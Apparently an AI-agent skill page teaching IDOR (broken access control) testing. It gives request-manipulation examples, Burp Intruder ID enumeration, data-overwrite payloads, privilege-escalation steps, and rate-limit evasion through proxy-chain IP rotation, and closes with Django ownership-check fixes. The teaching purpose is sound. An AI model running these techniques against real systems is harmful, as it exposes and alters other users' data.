Loading...
Loading...
This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or obje...
npx skill4agent add sickn33/antigravity-awesome-skills idor-testing# Original URL (authenticated as User A)
example.com/user/profile?id=2023
# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022# Original URL (User A's receipt)
example.com/static/receipt/205.pdf
# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdfAccount 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access/api/user/123?id=123&action=view{"userId": 123}/download/receipt_123.pdf/profile/a1b2c3d4-e5f6-...# Access user ID endpoint (if available)
GET /api/user-id/
# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable if: Returns victim's data with attacker's session# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com| Test | Method | Indicator of Vulnerability |
|---|---|---|
| Increment/Decrement ID | Change | Returns different user's data |
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
| Negative Values | Test | Unexpected data or errors |
| Large Values | Test | System information disclosure |
| String IDs | Change format | Logic bypass |
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
| Status Code | Interpretation |
|---|---|
| 200 OK | Potential IDOR - verify data ownership |
| 403 Forbidden | Access control working |
| 404 Not Found | Resource doesn't exist |
| 401 Unauthorized | Authentication required |
| 500 Error | Potential input validation issue |
| Parameter Type | Examples |
|---|---|
| User identifiers | |
| Resource identifiers | |
| Order/Transaction | |
| Message/Communication | |
| File references | |
# Login as attacker (userId=1001)
# Navigate to profile page
# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
# Response: Attacker's profile data
# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
# Vulnerable Response: Victim's profile data returned!# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
# Modify userId to victim's ID
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
# If 200 OK: Address created under victim's account# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
# Response: PDF of attacker's receipt (order #5)
# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
# Vulnerable Response: PDF of victim's receipt (order #3)!# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
# If accessible: Vertical privilege escalation achieved# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)# Django example - validate ownership
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
address.update(request.data)# Instead of: /api/address/123
# Use: /api/address/current-user/billing
def get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)